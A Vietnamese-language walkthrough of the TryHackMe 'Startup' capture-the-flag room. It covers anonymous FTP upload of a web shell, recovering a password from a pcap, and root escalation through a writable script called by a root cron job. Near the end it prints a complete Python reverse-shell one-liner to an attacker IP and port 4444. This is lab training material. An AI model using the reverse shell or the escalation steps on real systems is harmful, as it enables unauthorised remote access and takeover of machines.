Tryhackme - Startup
Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Startup. Géc gô!!!
Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.
Chúng ta có 3 port đang mở:
- port 21 với ftp server và cho phép login bằng anonymous.
- port 22 chạy ssh trên ubuntu server
- port 80 với Apache httpd 2.4.18 trên ubuntu server
Với port 21, tôi có vài thứ hay ho ở đây.
Trong ftp server tôi có 1 file txt và 1 file ảnh, user anonymous cũng có quyền sửa, ghi file. Vậy là tôi có thể upload file lên ftp server, tôi không chắc. Xem qua 2 file kia đã.
Tôi có 1 cái tên ở đây: Maya. Còn chiếc ảnh kia thì không có gì đặc biệt lắm. Tôi sẽ quay lại ftp server để put shell lên xem có được không.
Được rồi. Bây giờ thử check web path để xem có tìm được url của file vừa up không.
Vào path /files và tôi tìm thấy ftp file server.
Tạo listener với port đã cấu hình bên trong shell và thử mở file.
Ồ được rồi này. Config lại shell 1 chút với python để dễ khai thác hơn. Trong file server web chúng ta có 1 file recipe.txt. Mở file này và tôi tìm được secret spicy soup recipe.
Vào thư mục /home và tôi có user lennie. Tuy nhiên không cần có password. Tôi thử check xem có thư mục nào chạy quyền của www-data không. Và tôi tìm thấy thư mục incidents.
Trong này có 1 file pcap, clone nó về và thử check bằng Wireshark xem có tìm được gì đặc biệt không, biết đâu lại có password của Lennie. Tôi tạo http server bằng python trên máy remote và wget file pcap về máy local của mình, đáp nó vào Wireshark thôi.
Sau 1 thời gian dài ngụp lặn, tôi đã tìm được password của user lennie, trong file pcap.
Đăng nhập và tôi có user flag.
Việc tiếp theo là leo thang đặc quyền. Cùng với user flag tôi có thêm 2 folder nữa và folder scripts có chứa file thực thi. Tôi sẽ khai thác nó trước. File planner.sh sẽ ghi đề 1 list vào file startup_list.txt và sau đó thực thi file /etc/print.sh. Tôi check qua file print.sh thì nó đang chạy dưới quyền user lennie, điều này có nghĩa là chúng ta có thể sửa được file này.
Tôi sẽ thêm reverse shell vào file này, nhưng không thể get root được. Do file planner.sh này có thể chạy được nên tôi sẽ thử kiểm tra xem nó có phải 1 cronjob chạy dưới quyền root hay không. Và đúng là như vậy.
Nên việc tiếp theo là sửa file này để gọi reverse shell. Tôi sẽ dùng shell này
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.**.**",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
À trước tiên phải tạo listener đã.
Vậy là xong. Rooted!